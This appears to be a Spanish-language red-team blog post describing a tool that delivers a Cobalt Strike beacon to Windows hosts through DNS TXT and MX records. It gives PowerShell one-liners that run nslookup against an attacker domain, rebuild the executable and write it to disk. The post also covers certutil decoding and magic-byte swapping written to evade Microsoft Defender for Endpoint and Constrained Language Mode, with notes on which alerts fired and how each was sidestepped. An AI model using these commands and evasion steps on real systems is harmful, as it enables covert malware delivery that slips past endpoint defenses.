
Herramienta de tunelización DNS que utiliza PowerShell y Nslookup para exfiltrar datos y entregar cargas útiles a través de registros DNS TXT/MX, evitando el Modo de Lenguaje Restringido y las defensas de endpoints.
Inspirado por un trabajo reciente que realicé con balizas DNS de Cobalt Strike, junto con una declaración de misión para intentar evadir Microsoft Defender para Endpoint, dediqué un tiempo a investigar cómo se podría usar DNS para transferir un payload a una máquina objetivo. Además, quería desafiarme a mí mismo intentando hacerlo de una manera que sea posible incluso cuando PowerShell está en Modo de Lenguaje Restringido. Esta investigación estaba dirigida a implementaciones más modernas de Windows (es decir, Win10+, Server 2019+), pero como verán más adelante, podría ser posible en versiones anteriores.
El tunelizado DNS es una técnica que existe desde hace mucho tiempo y es utilizada por diversos atacantes. A nivel básico, implica usar el protocolo DNS como medio para la infiltración/exfiltración de datos o como canal de comunicaciones C2. Hay muchas publicaciones en blogs que puedes consultar para obtener más información sobre este tema.
Debido a que es una técnica tan antigua y conocida, muchas organizaciones tienen métodos de detección implementados para intentar prevenirla.
El tipo de registro DNS preferido para el tunelizado DNS ha sido históricamente TXT. Esto se debe a que los registros TXT pueden contener más datos que otros registros y además distinguen entre mayúsculas y minúsculas, algo que los otros registros no hacen, lo que puede tener un impacto cuando comenzamos a hablar de codificación.
El Modo de Lenguaje Restringido (CLM) es un modo de lenguaje restrictivo para PowerShell que reduce en gran medida las capacidades y la funcionalidad permitida de PowerShell. En una lista breve, .NET, objetos COM y los favoritos de los atacantes como (new-object net.webclient).downloadstring... no están disponibles. Este enlace proporciona más información. Las organizaciones imponen esta política para usuarios normales como parte de las reglas de reducción de superficie de ataque. En efecto, solo hace que nuestras vidas como atacantes sean más difíciles.
La mayoría debería estar al menos familiarizada con DNS por el uso de herramientas como Nslookup. Pero a nivel básico, el cliente envía una consulta y el servidor DNS devuelve una respuesta a esa consulta. Existen varios tipos diferentes de registros DNS: CNAME, A, AAAA, TXT, MX y NS, solo por nombrar algunos. Cada uno de estos registros puede almacenar y devolver información diferente. Estos registros se configuran en un archivo de zona, que es servido por un servidor DNS.
Se muestra un ejemplo de archivo de zona aquí:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.
Si alguien consultara los registros NS de example.com, la consulta devolvería ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net y ns4.p30.dynect.net.
# Investigación
## Registro de nombres de dominio
Antes de empezar, debemos hablar brevemente sobre cómo configurar registros DNS para que apunten a una IP que controlamos y en la que ejecutaremos un servidor DNS. Como se muestra a continuación, compré un dominio y configuré registros DNS que dirigen el subdominio "dns" al subdominio "ns1", al cual se le asigna la IP pública del servidor.

Esto significa que cualquier consulta realizada para "dns.edu....com" será dirigida a "ns1.edu....com", que tiene asignada la IP 3..86. En esa IP configuraremos un servidor DNS para servir nuestros registros. Esto retomará su sentido más adelante.
## Encontrando una herramienta del lado del cliente
Mi búsqueda comenzó con una simple consulta en Google de "powershell dns module" que devolvió [este](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps) enlace. De particular interés fue el comando `Resolve-DnsName`. Parece ser básicamente una implementación en PowerShell del conocido binario Nslookup.exe. Nótese que se pueden solicitar tipos específicos de registros:

Bien, entonces tenemos un módulo de PowerShell capaz de hacer consultas DNS y recuperar la respuesta. ¿Funciona en modo de lenguaje restringido (CLM)? La respuesta es más o menos.
Como se puede ver aquí, si abro una nueva ventana de PowerShell, ejecuto `Resolve-DnsName`, pongo PowerShell en CLM (y pruebo con la simple llamada `::WriteLine`), y luego ejecuto `Resolve-DnsName` nuevamente, funciona sin problemas:

Sin embargo, si abro una nueva ventana de PowerShell y la pongo inmediatamente en CLM y luego intento ejecutar `Resolve-DnsName`, falla:

Parece que si un módulo se ha cargado previamente, puede ejecutarse después de que se aplique CLM; sin embargo, CLM impedirá que se cargue si no lo ha hecho ya. Pensando en un entorno objetivo donde CLM está aplicado por defecto para los usuarios (y sin saber si ciertos módulos están precargados o si DnsClient es uno de ellos), en este punto decidí dejar atrás `Resolve-DnsName` y volver al viejo `Nslookup.exe`.

Nslookup.exe es un elemento básico del conjunto de herramientas de TI y un binario muy conocido utilizado con fines legítimos. Las probabilidades están a nuestro favor de que se permita su ejecución incluso en entornos donde la lista blanca de aplicaciones es una preocupación.
Nslookup devolverá prácticamente la misma información que nuestra consulta con `Resolve-DnsName`, solo que tendremos que manipularla de manera un poco diferente cuando llegue el momento.
## ¿Convertir un ejecutable en registros DNS?
Bien, tenemos un medio para hacer consultas DNS en la computadora víctima. ¿Cómo podemos proporcionar nuestro payload en un formato que Nslookup pueda recuperar?
Los ejecutables, por supuesto, son archivos binarios, lo que significa que no son legibles por humanos. Como resultado, los datos deben transformarse en algo que podamos insertar en registros DNS y que una herramienta como Nslookup pueda recuperar. Hay muchas opciones de codificación disponibles, pero la consideración principal es: ¿qué puede decodificar la máquina víctima usando solo herramientas nativas de Windows y capacidades disponibles en CLM? Base64 es la respuesta obvia y frecuentemente elegida.
Usando Base64 convertimos nuestro ejecutable en una enorme cadena legible que luego se puede dividir en muchos registros DNS y recuperar mediante Nslookup. Del lado del cliente, el conocido LOLBAS `certutil.exe` se puede usar para decodificar Base64 los registros DNS agregados de vuelta al formato binario.
Esto requiere que hablemos un poco más sobre los tipos de registros DNS. Cada tipo de registro almacena cierta información en un formato particular. Por ejemplo, los registros A almacenan y devuelven una dirección IPV4 (111.111.111.111). Los registros AAAA devuelven una dirección IPV6, los registros MX y NS devuelven nombres de dominio, y los registros TXT pueden devolver cadenas de hasta 255 caracteres. Como se mencionó anteriormente, debido a la longitud del registro y la sensibilidad a mayúsculas/minúsculas, los registros TXT han sido la opción obvia para los atacantes, ya que se requieren menos y son compatibles con codificaciones como Base64.
Veamos cómo se ve esto.
En nuestra máquina Kali, podemos tomar nuestro ejecutable y convertirlo a Base64. Nótese el uso del modificador `-w 0`, que eliminará todos los saltos de línea para que nos quede una sola línea de texto Base64:

Al observar el archivo se muestra el Base64:

Ahora necesitamos convertir este archivo codificado en Base64 en registros TXT de DNS que serán servidos por nuestro servidor DNS.
Hay algunas cosas que aprendí durante esto y que resumiré rápidamente aquí antes de continuar:
**1.** Cuando múltiples registros se devuelven para una sola consulta DNS, no hay garantía de que se devuelvan "en orden". Esto es crítico para nuestros propósitos, ya que necesitamos reensamblar un archivo a partir de todos los registros TXT y si están desordenados no funcionará.
**2.** Los registros duplicados no se devuelven para una consulta. Por ejemplo, en nuestro archivo de zona si tuviéramos 3 registros TXT y 2 de ellos contuvieran la misma información, al consultar los registros TXT de ese dominio solo se devolverían 2 registros, ya que solo se devuelven los registros únicos. Sin considerar el problema del desorden, si tuviéramos, por ejemplo, grandes secciones de "AAAAA" (como las tenemos en el payload codificado en Base64) que necesitáramos llenar en múltiples registros TXT, al consultar nuestro dominio por registros TXT solo se devolverá uno de los registros TXT llenos de "A", incluso si hay varios de ellos en el archivo de zona.
Con estos puntos en mente, debemos asegurarnos de que solo se devuelva un único registro TXT por cada consulta DNS. Aquí entran los subdominios. Así como registramos "dns.edu...com" como un subdominio de "edu....com", podemos proporcionar registros para subdominios adicionales (por ejemplo, 1.dns.edu....com). Podemos crear tantos subdominios como sea necesario para servir todos nuestros registros TXT.
Veamos nuestro payload codificado en Base64:

Como se mencionó anteriormente, podemos meter 255 caracteres en cada registro TXT. Dividiendo 413,696/255 da 1,623 redondeando hacia arriba. Eso es una gran cantidad de registros TXT (y, por ende, muchos subdominios). Sin embargo, es un punto de partida.
Escribí un script en Python3 para ingerir el payload codificado en Base64 y crear un archivo de zona:

Este script abrirá nuestro payload codificado en Base64 (comp.txt) y utilizará la función "chunkstring" (cortesía de una publicación en Stack Overflow) para dividir el archivo en fragmentos de 255 caracteres, con los cuales crearemos registros TXT. Nótese que las IP aquí son falsas/aleatorias e innecesarias.
Al observar el archivo de zona producido, vemos nuestros registros TXT:

Nótese el número en el extremo izquierdo de cada registro TXT; esto denota el subdominio.
Ahora que hemos creado nuestro archivo de zona, deberemos copiarlo a nuestro servidor DNS y luego servirlo. Utilicé [CoreDNS](https://github.com/coredns/coredns) para esto:

Esto muestra que estoy aceptando consultas para dns.edu....com en el puerto 53. En el Corefile he especificado el archivo de zona creado en el paso anterior para servir los registros. Para probar que nuestros registros funcionan, ejecutaremos nslookup para registros TXT pertenecientes a 1.dns.edu....com:

¡Ahí está nuestro registro TXT!
## ¡Ataque!
Ahora necesitamos ejecutar nslookup... 1623 veces. Menos que ideal, pero es lo que haremos por ahora. Usaremos este one-liner de PowerShell para ejecutar nslookup para cada subdominio y luego seleccionar solo el registro TXT ($temp[5]) e ir construyendo $results a medida que avanzamos. Luego, $results se escribe en ./temp.txt, y finalmente se usa certutil para decodificar temp.txt a custombeacon.exe.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe
Al ejecutar nuestro comando, vemos todas las solicitudes DNS en nuestro servidor CoreDNS:

Y en nuestro cliente vemos que el comando Certutil se ejecutó correctamente:

Nuestra longitud de salida coincide con la del EXE original (y se ejecuta) – ¡excelente!

Sin embargo, tenemos un problema. Veamos el panel de MDE para nuestra máquina del laboratorio de evaluación:

Hay 5 alertas aquí que debemos abordar (ignore las dos primeras "Suspicious usage of certutil.exe to decode an executable" ya que son duplicados de ejecutar la misma cadena de ataque dos veces durante las pruebas).
1. Suspicious System Network Configuration Discovery – Esto se refiere al uso del cmdlet 'Resolve-DnsName' (esta prueba se ejecutó antes del cambio a Nslookup por razones separadas)

2. DNS attack tool or activity – Esto se refiere al uso de registros TXT para infiltrar nuestros datos

3. / 4. / 5. – Suspicious usage of certutil.exe to decode an executable / Use of living-off-the-land binary to run malicious code

Vamos a descartar esta porque vamos a cambiar a Nslookup. Veremos si continúa siendo un problema. No lo sé, pero tengo la sospecha de que este tipo de alerta podría ser ignorada por muchas organizaciones debido a su baja prioridad y su naturaleza aparentemente fácil de activar.
Esta alerta nuevamente está relacionada con el uso de registros TXT para pasar de contrabando nuestro payload; no es tan sorprendente, ya que los registros TXT han sido durante mucho tiempo los favoritos para este tipo de actividad por una buena razón. La solución aquí parecería ser intentar usar un tipo de registro alternativo, algo que exploraremos junto con lo que sigue en la siguiente alerta.
Tampoco es tan sorprendente que certutil haya sido marcado al decodificar nuestro payload; es un truco antiguo que cualquier organización respetable debería alertar. Sin embargo, la alerta es curiosamente específica; destaca que se usó para decodificar un ejecutable. Esto me llevó a preguntarme qué pasaría si modificaba los bytes mágicos de nuestro payload antes de codificarlo en Base64, y luego nuevamente en el lado del cliente después de usar certutil para decodificarlo. No lo mostraré aquí, pero esto sí evitó esta alerta y pude usar certutil para decodificar un payload en Base64 y luego cambiar los bytes mágicos de vuelta a MZ para que el payload fuera ejecutable, todo usando funcionalidad nativa de Powershell.
Decidí intentar usar registros MX en lugar de registros TXT para pasar de contrabando el payload. Esta publicación de blog señala que la longitud máxima de un nombre DNS válido es de 255 caracteres``` (63 letters).(63 letters).(63 letters).(62 letters)
Dado que los registros MX devuelven un nombre de dominio, debería poder meter bastantes datos en cada octeto. Después de algunas pruebas, decidí acortar un poco cada registro y poner solo 50 caracteres en cada octeto, para un total de 200 por registro MX.
Sin embargo, hay un problema. Cuando se trata de registros DNS, solo los registros TXT y SPF (un tipo de registro TXT) distinguen entre mayúsculas y minúsculas. Nuestro lenguaje de codificación, Base64, distingue entre mayúsculas y minúsculas. Pasé un par de horas solucionando esto hasta que lo descubrí, pero en conclusión, si vamos a usar Base64, no podemos usar registros MX porque Nslookup siempre devuelve los registros en minúsculas, lo que rompe nuestra codificación.
Nos vemos obligados a encontrar otro tipo de registro que distinga entre mayúsculas y minúsculas y sea compatible con Base64, o debemos encontrar un lenguaje de codificación diferente que Windows/PowerShell en CLM pueda decodificar de forma nativa.
Después de algunas [investigaciones](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin) descubrí que PowerShell es capaz de convertir hexadecimal a binario sin usar .NET:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw
# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)
Con una ligera modificación a lo anterior (cambiando [System.IO.File]... por $bytes | set-content....) esto debería funcionar para nuestros propósitos.
Los registros MX también tienen un valor de "preferencia"; esto es esencialmente un orden de prioridad para determinar qué servidor MX debe usarse para un dominio. Esto se puede ver en el ejemplo anterior de un archivo de zona como los valores "10 20 y 30" que preceden a los nombres de dominio de los registros MX. Podemos usar este valor de preferencia a nuestro favor incluyendo varios registros MX por subdominio y asegurándonos de tener nuestros datos en el orden correcto ordenando por el valor de preferencia. Esto nos permitirá reducir drásticamente el número de veces que llamamos a Nslookup en comparación con cuando obteníamos un solo registro por subdominio con registros TXT.

Como se muestra arriba, los registros pueden devolverse desordenados, pero con el valor de preferencia podemos reordenarlos.
Para implementar todo esto, primero escribí un pequeño script en Python3 para convertir nuestro payload a hexadecimal:


Luego modifiqué el script original de Python3 para crear un archivo de zona con registros MX en lugar de registros TXT:

Las principales diferencias son que ahora estamos fragmentando 200 caracteres a la vez y estamos asignando 100 registros MX por subdominio; esto se rastrea con la variable j, donde j en el registro MX es el valor de preferencia. Comienza en 10 para el primer registro y se incrementa de 10 en 10 hasta llegar a 1000. Cuando j alcanza 1010, se reinicia a 10 y i se incrementa en uno, donde la variable i es el subdominio especificado en cada registro MX.
Este script produce un archivo de zona como el siguiente (se muestra el final del archivo de zona):

Aquí se muestran dos subdominios (31.dns.edu....com y 32.dns.edu....com) y varios registros para cada uno. Los registros se pueden diferenciar por el valor de preferencia que sigue a cada MX (31.dns.edu....com: 960, 970, 980, 990, 1000, 32.dns.edu....com: 10, 20, 30).
Tendremos que modificar bastante nuestro comando de PowerShell para adaptarnos a este nuevo formato. He mostrado el script en PowerShell ISE con comentarios para explicar mejor qué sucede en cada paso, pero en efecto vamos a:
-1. Para cada subdominio
--A Ejecutar Nslookup
--B Para cada registro MX devuelto por Nslookup
---a. Extraer solo nuestros datos y almacenarlos en un array en orden (ordenados por el valor de preferencia MX)
--C Añadir cada cadena de datos a nuestra cadena $results acumulativa

Luego necesitamos tomar $results y convertir el hexadecimal nuevamente a binario antes de escribirlo en disco. Aquí es donde usaremos el PowerShell mostrado anteriormente.
Comprimido en una sola línea obtenemos lo siguiente:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe
## Segundo intento
Ejecutemos nuestro comando de PowerShell en una caja de pruebas de laboratorio de MDE y veamos qué sucede (estamos en CLM pero no se muestra):

Ejecutando nuestro beacon (más magia ocurrió en el backend aquí para usar beacons DNS)

Obtenemos una alerta por comportamiento 'SuspiciousFileDrop', sin embargo se resolvió con 'No threats found'... más por explorar. Pero todas las alertas relacionadas con registros TXT o Certutil para decodificar un ejecutable han desaparecido.

## Solo un paso a la izquierda...
A MDE no le gustó que PowerShell escribiera nuestro payload en el disco. Es comprensible; en resumen, Nslookup descargó un ejecutable desconocido de Internet y lo guardó en el disco. ¿Cómo podemos mitigar esto?
Decidí revisar los magic bytes del payload. Mi teoría de trabajo era que si cambiaba los magic bytes del payload a los de, digamos, un archivo .txt y lo escribía en el disco, luego leía ese archivo en una nueva variable y cambiaba los magic bytes de vuelta a MZ (ejecutable) y luego lo escribía de vuelta al disco, podría engañar a MDE porque la operación de E/S que lleva al ejecutable funcional al disco ahora se origina desde un archivo .txt que ya existía en el disco, a diferencia de datos descargados de Internet.
Intentémoslo.
Podemos usar VIM para abrir nuestro ejecutable en nuestra máquina de ataque. Observe el encabezado MZ en los primeros dos bytes que declara que esto es un ejecutable:

Al ingresar :%!xxd podemos editar el archivo en formato hexadecimal:

y cambiar los primeros dos bytes a FF FE (marca de orden de bytes UTF-16LE, comúnmente vista en archivos de texto según https://en.wikipedia.org/wiki/List_of_file_signatures):

Ahora debemos cerrar el editor hexadecimal ingresando :%!xxd -r, lo que mostrará que nuestros magic bytes han sido reemplazados:

Luego podemos guardar y salir de VIM.
Volveremos a convertir nuestro payload a hexadecimal y luego usaremos el script de python3 para colocar el payload modificado en registros MX que pueden servirse en nuestro servidor DNS.
En el lado del cliente necesitaremos modificar nuestro comando de PowerShell para corregir los magic bytes y hacer que nuestro ejecutable vuelva a ser funcional. Como se mencionó, en un esfuerzo por evadir la alerta SuspiciousFileDrop de MDE, primero escribiremos nuestro archivo 'txt' en el disco y luego lo volveremos a cargar en memoria usando get-content. La modificación y adición relevante a nuestro comando de PowerShell es:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte
En este comando primero escribimos nuestro payload descargado (con bytes mágicos .txt) en el disco como out.txt, luego lo leemos en un arreglo de bytes $readfile después de lo cual el primer y segundo byte se establecen en 0x4D y 0x5A respectivamente, restaurando el encabezado MZ a nuestro payload. Luego $readfile se canaliza a set-content para escribir nuestro payload funcional en el disco como new.exe.
Probemos esto en nuestra VM MDE (nota: el comando se ve un poco diferente, esto se abordará en la siguiente sección):

¿Y en el panel?

¡Éxito!
Hemos descargado y restaurado exitosamente nuestro payload a formato funcional mediante solicitudes DNS y comandos de powershell disponibles en el Modo de Lenguaje Restringido. MDE no alertó sobre nada, pero ¿qué ve realmente MDE? La respuesta es todo.
Echemos un vistazo a la línea de tiempo de eventos para nuestra máquina de prueba, filtrando por eventos que involucren powershell:

En esta imagen vemos algunas de las llamadas a nslookup.exe realizadas por powershell, cada una de las cuales resultó en un evento "T1016: System Network Configuration Discovery". Además vemos "powershell.exe dropped a packed file new.exe" que se refiere a nuestro ejecutable ahora funcional siendo escrito de nuevo al disco después de que los bytes mágicos fueran alterados. Esto activa algunos ID de evento, siendo "T1027.002: Software Packing" el notable.
Al filtrar estos eventos, podríamos ver cuán común o poco común es cada uno y qué probabilidad hay de que nuestras acciones se mezclen con el ruido de las acciones normales en la computadora.
Observando T1016:

Vemos todos nuestros nslookup, pero también vemos otros eventos generados por procesos como WaAppAgent.exe y WindowsAzureGuestAgent.exe. Estos a su vez ejecutaron cosas como ipconfig.exe y arp.exe. Así que múltiples ejecutables diferentes pueden activar T1016: System Network Configuration Discovery, lo cual es bueno para nosotros al intentar pasar desapercibidos.
Observando T1027:

Las noticias aquí no son tan buenas. El único evento para T1027.002: File Packing es nuestro powershell.exe dejando nuestro payload en el disco. No estoy completamente seguro de por qué este evento se dispara para nuestra acción, pero no estoy convencido de que tenga algo que ver con el método de infiltración DNS, sino más bien con escribir un ejecutable en el disco. En cualquier caso, esto no generó una alerta real, solo es un evento registrado.
¿Cuántos eventos registrados hay y qué tan bien categorizada está la funcionalidad normal del ordenador? Las respuestas son "muchos" y "no muy bien". Al desplazarme para encontrar los eventos de powershell, me encontré con esto:

Eso ciertamente parece sospechoso... ¿qué está pasando?

Oh. Es solo Windows Defender ATP ejecutando comandos de powershell.
La cantidad de eventos registrados por MDE es alucinante. Mientras no nos topemos con una alerta real, no me preocupa demasiado que nuestras acciones registradas sean descubiertas durante efectos activos a menos que les demos a los defensores razones para buscar.
Tenemos una POC (prueba de concepto) funcional, pero ahora es el momento de refinar el producto. Tenía tres objetivos principales:
Automatización
Fiabilidad
Eficiencia
Comencé combinando los scripts de python que convertían nuestro ejecutable en hexadecimal y luego creaban un archivo de zona. Luego revisé y eliminé todas las referencias estáticas a nombres de dominio que poblarán el archivo de zona; ahora se pasan mediante argumentos de línea de comandos. En tercer lugar, agregué funcionalidad para hacer una copia de nuestro payload y luego modificar los bytes mágicos; esta copia modificada es la que se convierte en registros MX dentro de nuestro archivo de zona, eliminando la necesidad de VIM. Finalmente, el script de python imprime el comando de una sola línea de powershell con el número correcto de iteraciones para ejecutar nslookup (dependiendo de la longitud del payload) y el dominio contra el cual ejecutar nslookup. Este script de python se ha subido como "createzonefile.py".

Para aumentar la fiabilidad del ataque, pasé algún tiempo trabajando en cómo el script de python crea los registros MX. El punto problemático principal era el último registro MX; este contiene el resto del payload, ya que cada otro registro se llena con 200 caracteres. Dependiendo de cuántos datos queden para este registro, podríamos terminar con uno, dos, tres o cuatro octetos parcial o completamente llenos. Encontré que nslookup no obtendría registros si había demasiados "." al final, como ocurría con nuestro script de python simple anteriormente si menos de cuatro octetos estaban siendo utilizados por el último registro MX (por ejemplo, el registro podría ser "0000000000000000000000.000000.."). Se implementó y probó una nueva lógica para asegurar que independientemente del tamaño del payload o la cantidad de datos en el último registro MX, estuviera formateado correctamente y funcionara como se esperaba.
La implementación del comando de una sola línea de powershell en el script de python es otro paso hacia la fiabilidad, ya que asegura que se te proporcione el número correcto de iteraciones de nslookup así como el mismo nombre de dominio especificado en el archivo de zona.
Este último punto gira principalmente en torno al comando de una sola línea de powershell. Quería intentar reducir la longitud del comando tanto como fuera posible en caso de que uno necesite escribirlo a mano en una máquina objetivo. Antes de tener en cuenta el script adicional para reemplazar los bytes mágicos, pude reducirlo en aproximadamente un 30%.
Estos ahorros provienen de algunos lugares:

Estoy seguro de que se podría hacer más, pero estoy lejos de ser competente en powershell.
El comando de una sola línea de powershell final y mejorado que restaura los bytes mágicos MZ y elimina el archivo .txt temporal es:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f
# Reflexiones finales
Usar DNS para infiltrar un payload puede ser una opción atractiva en entornos altamente restrictivos donde los métodos normales que implican HTTP/S y/o métodos más convencionales pueden no ser viables. En tal entorno, el siguiente obstáculo probablemente sea ejecutar realmente tu payload: evadir la lista blanca de aplicaciones es un tema en el que probablemente dedicaré algo de tiempo en el futuro.
Gracias a aquellos que se quedaron conmigo hasta el final. Fueron unos días ajetreados mientras exploraba y desarrollaba este tema, y ciertamente aprendí algunas cosas, como espero que tú también lo hayas hecho.